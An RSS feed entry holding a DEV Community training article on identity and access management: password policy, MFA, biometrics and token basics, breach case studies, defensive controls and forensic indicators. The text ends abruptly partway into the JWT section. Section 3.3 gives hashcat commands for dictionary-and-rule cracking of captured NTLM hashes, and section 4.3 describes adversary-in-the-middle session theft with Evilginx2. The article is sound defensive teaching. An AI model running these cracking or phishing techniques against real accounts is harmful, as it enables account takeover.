<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rençber AKMAN</title>
    <description>The latest articles on DEV Community by Rençber AKMAN (@rencberakman).</description>
    <link>https://dev.to/rencberakman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3383742%2F6a83ab61-4311-47ac-9356-55034eed8a95.jpeg</url>
      <title>DEV Community: Rençber AKMAN</title>
      <link>https://dev.to/rencberakman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rencberakman"/>
    <language>en</language>
    <item>
      <title>Identity Authentication and Access Management (IAM)</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Sun, 28 Jun 2026 14:06:33 +0000</pubDate>
      <link>https://dev.to/rencberakman/identity-authentication-and-access-management-iam-28p0</link>
      <guid>https://dev.to/rencberakman/identity-authentication-and-access-management-iam-28p0</guid>
      <description>&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why This Module Matters&lt;/li&gt;
&lt;li&gt;Foundations: Identity, Authentication, Authorization&lt;/li&gt;
&lt;li&gt;Password Policies&lt;/li&gt;
&lt;li&gt;Multi-Factor Authentication (MFA)&lt;/li&gt;
&lt;li&gt;Biometric Authentication&lt;/li&gt;
&lt;li&gt;Token-Based Authentication&lt;/li&gt;
&lt;li&gt;OAuth 2.0&lt;/li&gt;
&lt;li&gt;OpenID Connect (OIDC)&lt;/li&gt;
&lt;li&gt;SAML&lt;/li&gt;
&lt;li&gt;Kerberos&lt;/li&gt;
&lt;li&gt;NTLM&lt;/li&gt;
&lt;li&gt;Single Sign-On (SSO)&lt;/li&gt;
&lt;li&gt;Privileged Access Management (PAM)&lt;/li&gt;
&lt;li&gt;The Missing Layer: Directory Services &amp;amp; Identity Federation Architecture&lt;/li&gt;
&lt;li&gt;OT/ICS-Wide Identity Considerations&lt;/li&gt;
&lt;li&gt;Module Summary Table&lt;/li&gt;
&lt;li&gt;Navigation&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why This Module Matters
&lt;/h2&gt;

&lt;p&gt;Identity is the new perimeter. Firewalls fail, network segmentation fails, but the single most consistent root cause across breach reports for the last decade is &lt;strong&gt;compromised credentials and broken access logic&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Concrete evidence, not theory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Colonial Pipeline (May 2021)&lt;/strong&gt; — the attacker entered through a single compromised VPN account that had &lt;strong&gt;no MFA enabled&lt;/strong&gt; and was tied to a password reused from another breach. The result: 5,500 miles of pipeline shut down, fuel shortages across the U.S. East Coast, and a $4.4M ransom payment. This is the canonical IT-to-OT pivot case study and it starts entirely in the IAM layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uber (2022)&lt;/strong&gt; — an attacker bought a contractor's stolen credentials, defeated MFA via &lt;strong&gt;MFA fatigue&lt;/strong&gt; (repeated push-notification spam until the victim approved one), and walked into Uber's internal Slack, AWS console, and source code repos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microsoft Exchange "Golden SAML" style attacks&lt;/strong&gt; and the &lt;strong&gt;SolarWinds/Sunburst campaign (2020)&lt;/strong&gt; — attackers forged SAML tokens after compromising an ADFS signing certificate, granting themselves authentication into any federated service, including Microsoft 365, without ever touching a password.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kerberoasting and Pass-the-Hash&lt;/strong&gt; are present in the overwhelming majority of post-exploitation phases in enterprise ransomware intrusions documented in Mandiant's M-Trends and CrowdStrike's Global Threat Reports, year after year.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NotPetya (2017)&lt;/strong&gt; spread laterally inside Maersk and Merck largely via &lt;strong&gt;NTLM relay and stolen domain admin credentials&lt;/strong&gt;, causing over $10 billion in global damage — making it, to date, one of the most expensive uses of broken authentication in history.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Career relevance: IAM is the single domain where &lt;strong&gt;identity architects, red teamers, blue teamers, auditors, and OT security engineers&lt;/strong&gt; all need the same foundational knowledge, just applied differently. A penetration tester without deep Kerberos/NTLM knowledge cannot operate in a Windows domain. A SOC analyst without OAuth/SAML knowledge cannot triage a cloud account-takeover. An OT engineer without PAM knowledge cannot defend a Safety Instrumented System from an insider or a compromised vendor laptop.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Every major breach you will study in this entire roadmap touches IAM at least once — either as the initial access vector or as the mechanism of lateral movement. Master this module and you understand the connective tissue of nearly all intrusions.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. Foundations: Identity, Authentication, Authorization
&lt;/h2&gt;

&lt;p&gt;Before any protocol, three words must be permanently distinct in your mind:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;Question it answers&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Identity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Who/what are you claiming to be?&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jdoe@corp.local&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication (AuthN)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Can you prove that claim?&lt;/td&gt;
&lt;td&gt;Password + OTP code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authorization (AuthZ)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;What are you allowed to do once proven?&lt;/td&gt;
&lt;td&gt;"Can read Finance share, cannot write to Domain Admins"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   IDENTITY            AUTHENTICATION            AUTHORIZATION
  "I am jdoe"    --&amp;gt;   "Prove it: password +  --&amp;gt;  "OK, you may
                          OTP code"                  access /finance,
                                                      read-only"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most breaches occur not because authentication failed cryptographically, but because the &lt;strong&gt;authorization model was flat, over-permissioned, or never reviewed&lt;/strong&gt; after authentication succeeded. Keep this distinction precise — it will resurface in every section below.&lt;/p&gt;

&lt;p&gt;A fourth, frequently omitted, concept:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Accounting / Auditing (AAA's third "A")&lt;/strong&gt; — every authentication and authorization decision must be logged immutably. Without this, forensic reconstruction of an incident is impossible. This is your bridge to Module 2.x on logging and SIEM, and it is non-negotiable in OT environments where safety and liability are at stake.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Password Policies
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 First Principles
&lt;/h3&gt;

&lt;p&gt;A password is a &lt;strong&gt;shared secret&lt;/strong&gt;. Its security rests entirely on two properties: &lt;strong&gt;entropy&lt;/strong&gt; (how hard it is to guess/brute-force) and &lt;strong&gt;secrecy&lt;/strong&gt; (whether it has been disclosed, reused, or stored insecurely). Everything else — length rules, rotation rules, complexity rules — is an attempt to engineer those two properties at scale across a population of humans who are bad at generating randomness.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 How Passwords Are Actually Attacked
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────┬──────────────────────────────────────────┐
│ Attack Class     │ Mechanism                                │
├─────────────────┼──────────────────────────────────────────┤
│ Online brute     │ Repeated login attempts against a live   │
│ force            │ service (slow, noisy, rate-limited)       │
│ Offline crack    │ Attacker has the hash (e.g. from a dump) │
│                   │ and brute-forces/dictionary-attacks it    │
│                   │ with zero rate limit, using GPUs          │
│ Credential        │ Reusing leaked username:password pairs    │
│ stuffing          │ from unrelated breaches (Have I Been      │
│                   │ Pwned-class data) against your service    │
│ Password spraying │ Trying ONE common password against MANY  │
│                   │ accounts to stay under lockout thresholds │
└─────────────────┴──────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Password spraying&lt;/strong&gt; is the technique behind numerous nation-state intrusions (APT28/Fancy Bear has used it extensively against Microsoft 365 tenants). It defeats naive "5 failed attempts = lockout" policies because each &lt;em&gt;individual account&lt;/em&gt; only sees one or two attempts.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Offline Cracking in Practice
&lt;/h3&gt;

&lt;p&gt;If an attacker dumps &lt;code&gt;/etc/shadow&lt;/code&gt; on Linux or the NTDS.dit database on a Windows Domain Controller, they own the hashes. Speed depends entirely on hash algorithm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hashcat benchmark example — illustrates why algorithm choice matters enormously&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; 1000   &lt;span class="c"&gt;# -b = benchmark mode, -m 1000 = NTLM hash type&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; 1800   &lt;span class="c"&gt;# -m 1800 = sha512crypt (Linux shadow, modern)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;NTLM (MD4-based, unsalted) can be brute-forced at &lt;strong&gt;tens of billions of hashes/second&lt;/strong&gt; on modern GPUs. &lt;code&gt;bcrypt&lt;/code&gt;/&lt;code&gt;argon2&lt;/code&gt;-hashed passwords can be brute-forced at only &lt;strong&gt;thousands per second&lt;/strong&gt; because they are deliberately slow (memory-hard / CPU-hard by design). This single fact is why modern password storage MUST use bcrypt, scrypt, or Argon2 — never MD5, SHA-1, or unsalted SHA-256.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Dictionary + rule-based attack against a captured NTLM hash list&lt;/span&gt;
hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1000 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 ntlm_hashes.txt rockyou.txt &lt;span class="nt"&gt;-r&lt;/span&gt; rules/best64.rule
&lt;span class="c"&gt;# -m 1000  : hash mode = NTLM&lt;/span&gt;
&lt;span class="c"&gt;# -a 0     : attack mode = straight dictionary&lt;/span&gt;
&lt;span class="c"&gt;# -r ...   : apply mangling rules (case, leetspeak, append digits) to each&lt;/span&gt;
&lt;span class="c"&gt;#            dictionary word, multiplying effective coverage&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 What Modern Policy Actually Should Say
&lt;/h3&gt;

&lt;p&gt;NIST SP 800-63B (the de facto modern standard) explicitly &lt;strong&gt;reversed&lt;/strong&gt; decades of bad advice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Old (bad) guidance&lt;/th&gt;
&lt;th&gt;Modern (NIST 800-63B) guidance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Force rotation every 90 days&lt;/td&gt;
&lt;td&gt;Rotate only on evidence of compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Require special chars/mixed case&lt;/td&gt;
&lt;td&gt;Require &lt;strong&gt;length&lt;/strong&gt; (≥8, recommend 15+) over complexity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block password managers&lt;/td&gt;
&lt;td&gt;Encourage them&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No reuse check&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Screen against known-breached password lists&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: checking a password against the Pwned Passwords k-anonymity API&lt;/span&gt;
&lt;span class="c"&gt;# (never send the full password — only a SHA-1 prefix, preserving privacy)&lt;/span&gt;
&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"P@ssw0rd123"&lt;/span&gt; | &lt;span class="nb"&gt;sha1sum&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'a-z'&lt;/span&gt; &lt;span class="s1"&gt;'A-Z'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;PREFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;:0:5&lt;span class="k"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;SUFFIX&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PW_HASH&lt;/span&gt;:5&lt;span class="k"&gt;}&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://api.pwnedpasswords.com/range/&lt;/span&gt;&lt;span class="nv"&gt;$PREFIX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SUFFIX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# If a match is returned, the password has appeared in a known breach corpus&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.5 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Enforce &lt;strong&gt;length minimums&lt;/strong&gt;, not arbitrary complexity.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;breach-list screening&lt;/strong&gt; at creation/change time.&lt;/li&gt;
&lt;li&gt;Enforce &lt;strong&gt;account lockout / adaptive throttling&lt;/strong&gt; tuned to defeat spraying (e.g., lock per-IP and per-account velocity, not just per-account count).&lt;/li&gt;
&lt;li&gt;Store with &lt;strong&gt;Argon2id&lt;/strong&gt; (preferred), bcrypt, or scrypt — with per-user random salts and a server-side secret pepper where feasible.&lt;/li&gt;
&lt;li&gt;Never log raw passwords, even in debug/error paths — this is a recurring real-world finding (Facebook, 2019: hundreds of millions of plaintext passwords found in internal logs).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.6 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Failed login storms in &lt;code&gt;Security.evtx&lt;/code&gt; (Event ID &lt;strong&gt;4625&lt;/strong&gt; on Windows), &lt;code&gt;/var/log/auth.log&lt;/code&gt; on Linux, and authentication gateway logs are your primary spray/brute-force indicators. Look for &lt;strong&gt;one source IP/user-agent hitting many distinct usernames&lt;/strong&gt; with low per-account attempt counts — that signature is spraying, not brute force.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.7 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Many PLC/HMI/engineering workstation accounts ship with &lt;strong&gt;vendor-default credentials&lt;/strong&gt; (e.g., historically documented defaults for Siemens, Schneider, Rockwell HMIs) that are never rotated because operations teams fear downtime from a lockout. Shodan-indexed ICS devices with default creds remain discoverable to this day. &lt;strong&gt;Never apply IT lockout policies blindly to OT&lt;/strong&gt; — a locked-out HMI account during a process upset can be more dangerous than the credential risk itself; compensate instead with strict network segmentation and PAM session brokering (Section 13).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Password strength is irrelevant if the storage hash is weak, and policy is irrelevant if it ignores the realistic attack — spraying, not brute force, is what breaches you.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Multi-Factor Authentication (MFA)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 First Principles
&lt;/h3&gt;

&lt;p&gt;MFA requires proof from &lt;strong&gt;two or more independent factor categories&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1) Something you KNOW   — password, PIN
2) Something you HAVE   — phone, hardware token, smart card
3) Something you ARE    — fingerprint, face, iris
4) Somewhere you ARE    — geolocation/network context (increasingly used as a signal)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two passwords is not MFA. A password + a security question is not MFA (both are "something you know"). This distinction is tested constantly in compliance audits and interviews — know it cold.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 MFA Mechanisms, Ranked by Resistance to Modern Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WEAKEST ─────────────────────────────────────────────► STRONGEST
SMS OTP   Email OTP   TOTP App   Push Notification   FIDO2/WebAuthn (hardware)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SMS OTP&lt;/strong&gt; — vulnerable to &lt;strong&gt;SIM swapping&lt;/strong&gt; (social-engineering a carrier to port a victim's number) and &lt;strong&gt;SS7 protocol interception&lt;/strong&gt;. Numerous celebrity/crypto-wallet account takeovers (e.g., widely documented Twitter/X account hijacks, 2019–2021) trace back to SIM swap attacks defeating SMS MFA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TOTP (Time-based One-Time Password, RFC 6238)&lt;/strong&gt; — a shared secret seed plus the current time window generates a 6-digit code. Stronger than SMS (no carrier dependency) but the &lt;strong&gt;seed can be phished&lt;/strong&gt; via real-time relay (adversary-in-the-middle).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Push notification MFA&lt;/strong&gt; — vulnerable to &lt;strong&gt;MFA fatigue / push bombing&lt;/strong&gt;: an attacker with a valid password spams push approvals until the victim taps "approve" out of annoyance or confusion. This is exactly the technique used in the &lt;strong&gt;Uber 2022&lt;/strong&gt; and several &lt;strong&gt;Lapsus$ group&lt;/strong&gt; intrusions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FIDO2/WebAuthn hardware keys (YubiKey, etc.)&lt;/strong&gt; — cryptographically bind the authentication to the &lt;strong&gt;specific origin domain&lt;/strong&gt;, making them phishing-resistant. Even if a user is tricked onto &lt;code&gt;evil-microsoft-login.com&lt;/code&gt;, the hardware key will refuse to sign the challenge because the origin doesn't match.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.3 Attack Tooling You Must Know
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Evilginx2&lt;/strong&gt; — a reverse-proxy phishing framework that sits between victim and real login page, harvesting session cookies in real time, which defeats TOTP and push MFA (it doesn't need the password — it steals the post-auth session token).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modlishka&lt;/strong&gt; — similar adversary-in-the-middle (AiTM) phishing proxy.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Conceptual illustration of why AiTM defeats OTP/push MFA (NOT an executable exploit):&lt;/span&gt;
&lt;span class="c"&gt;# Victim -&amp;gt; evil proxy (looks identical to real site) -&amp;gt; real site&lt;/span&gt;
&lt;span class="c"&gt;# Victim enters password + OTP on the FAKE page&lt;/span&gt;
&lt;span class="c"&gt;# Proxy relays both to the REAL site in real time&lt;/span&gt;
&lt;span class="c"&gt;# Proxy captures the resulting authenticated SESSION COOKIE&lt;/span&gt;
&lt;span class="c"&gt;# Attacker replays that cookie — MFA was satisfied, but for the ATTACKER's session&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is precisely why &lt;strong&gt;FIDO2/WebAuthn&lt;/strong&gt; is the recommended end-state: it cryptographically verifies the origin, so the proxy relay breaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Mandate &lt;strong&gt;FIDO2/WebAuthn or certificate-based smart cards&lt;/strong&gt; for privileged and remote-access accounts.&lt;/li&gt;
&lt;li&gt;Disable &lt;strong&gt;SMS MFA&lt;/strong&gt; for any account with elevated privilege.&lt;/li&gt;
&lt;li&gt;Implement &lt;strong&gt;number-matching push MFA&lt;/strong&gt; (Microsoft Authenticator's "enter the number shown on screen" mode) to blunt fatigue attacks — it doesn't fully solve AiTM, but it eliminates blind-tap approval.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate-limit and alert on repeated push prompts&lt;/strong&gt; to the same user within a short window — a strong fatigue-attack indicator.&lt;/li&gt;
&lt;li&gt;Conditional Access / risk-based policies: block or challenge logins from impossible-travel locations, new devices, or anomalous ASN ranges.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4.5 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Azure AD/Entra ID Sign-in logs show &lt;code&gt;MFA Satisfied&lt;/code&gt; vs. &lt;code&gt;MFA Denied&lt;/code&gt; counts per session and per user — a burst of denied/cancelled push attempts followed by one approval within seconds is the fatigue-attack signature. AiTM compromises leave a tell-tale anomaly: &lt;strong&gt;the authenticating IP differs from the IP later using the resulting session token&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.6 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Air-gapped or "logically isolated" OT networks frequently have &lt;strong&gt;zero MFA&lt;/strong&gt; on engineering workstations because vendors historically didn't support it and operators view it as a usability tax during emergency response. The compensating architecture (Section 13) is to put MFA at the &lt;strong&gt;jump-server/PAM boundary&lt;/strong&gt; between IT and OT rather than inside the OT network itself — this preserves emergency operability inside the OT zone while still gating the crossing point.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; MFA defeats password theft, not session theft. If you don't also defend against AiTM phishing and push fatigue, your "MFA-protected" account is still one click away from compromise.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Biometric Authentication
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 First Principles
&lt;/h3&gt;

&lt;p&gt;Biometrics authenticate based on a &lt;strong&gt;measured physical or behavioral trait&lt;/strong&gt; — fingerprint ridges, iris patterns, facial geometry, gait, typing cadence. Critically: &lt;strong&gt;a biometric is an identifier, not a secret&lt;/strong&gt;. Your fingerprint is on every glass you touch; your face is in thousands of photos. This single fact reframes the entire threat model — biometrics are strong against &lt;em&gt;remote credential theft&lt;/em&gt; but weak against &lt;em&gt;physical spoofing and irrevocability&lt;/em&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 How Matching Works Internally
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ENROLLMENT:  raw biometric --&amp;gt; feature extraction --&amp;gt; template (NOT the raw image)
                                                       --&amp;gt; stored, ideally on-device
                                                           in a Secure Enclave/TPM

VERIFICATION: live capture --&amp;gt; feature extraction --&amp;gt; compare against stored
                                                        template --&amp;gt; match score
                                                        --&amp;gt; accept if score &amp;gt; threshold
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two error rates define system quality:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;FAR (False Accept Rate)&lt;/strong&gt; — probability an impostor is wrongly accepted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FRR (False Reject Rate)&lt;/strong&gt; — probability a legitimate user is wrongly rejected.
These trade off against each other via the match threshold — this is the same precision/recall tradeoff you'll see in any classifier, and it is exploitable: an attacker tunes spoof quality to land just inside the FAR tolerance.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.3 Documented Attacks
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chaos Computer Club (2017)&lt;/strong&gt; demonstrated bypassing Samsung Galaxy S8 iris recognition using a printed photo of the iris plus a contact lens to add curvature/reflection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint spoofing&lt;/strong&gt; via lifted latent prints reconstructed in silicone or wood glue — demonstrated repeatedly against capacitive sensors lacking liveness detection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Presentation attacks against face recognition&lt;/strong&gt; using photos, masks, or deepfake video injected into the camera feed — this is why modern systems require &lt;strong&gt;liveness detection&lt;/strong&gt; (blink, depth-sensing via structured light/ToF, challenge-response).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.4 Defensive Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use sensors with &lt;strong&gt;liveness/anti-spoofing detection&lt;/strong&gt; (depth sensing, blood-flow/pulse detection, infrared).&lt;/li&gt;
&lt;li&gt;Store templates &lt;strong&gt;on-device in a hardware-backed secure enclave&lt;/strong&gt;, never as raw biometric data on a central server — a centralized biometric database is a catastrophic, &lt;strong&gt;unrevocable&lt;/strong&gt; breach if compromised (you can reset a password; you cannot reset your fingerprint).&lt;/li&gt;
&lt;li&gt;Always pair biometrics with a &lt;strong&gt;second independent factor&lt;/strong&gt; for high-value actions — biometric-as-sole-factor is convenience-tier security, not assurance-tier.&lt;/li&gt;
&lt;li&gt;Apply &lt;strong&gt;template encryption and integrity binding&lt;/strong&gt; to the specific device hardware to prevent template extraction-and-replay.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.5 Forensic Evidence
&lt;/h3&gt;

&lt;p&gt;Biometric authentication events typically log only &lt;strong&gt;match/no-match plus the device's secure enclave attestation&lt;/strong&gt; — raw biometric data should never appear in logs (and if it does, that itself is a serious compliance and security failure to flag). Repeated low-confidence "near-miss" match attempts in short succession are a spoof-attempt indicator.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.6 OT/ICS Perspective
&lt;/h3&gt;

&lt;p&gt;Biometric access control is increasingly used for &lt;strong&gt;physical access to control rooms and safety-critical cabinets&lt;/strong&gt;, not network login. The forensic implication for OT incident response: tie physical badge/biometric access logs to the SCADA/HMI session logs — a documented technique in insider-threat investigations is correlating "who was physically present" against "what commands were issued" during the incident window.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Retain this:&lt;/strong&gt; Biometrics authenticate identity, not secrecy — design every biometric system assuming the trait itself will eventually be duplicated, and ensure liveness detection plus a second factor carry the real security weight.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Token-Based Authentication
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 First Principles
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;token&lt;/strong&gt; is a piece of data, issued after successful authentication, that the client presents on subsequent requests &lt;strong&gt;instead of re-sending credentials&lt;/strong&gt;. This is the foundational shift away from sessions stored server-side per request, toward bearer-based, often stateless, authentication — and it underlies OAuth, OIDC, JWTs, and API security broadly.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Stateful vs. Stateless Tokens
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;STATEFUL (Session ID)               STATELESS (JWT)
─────────────────────               ────────────────
Server stores session in DB         Server signs a self-contained token
Client holds only an opaque ID      Client holds the full claims, signed
Revocation: delete server record    Revocation: HARD (must blacklist or
                                     use short expiry + refresh)
Scales poorly across many servers   Scales horizontally with ease
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Anatomy of a JWT (JSON Web Token)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;header.payload.signature&lt;/span&gt;&lt;span class="w"&gt;

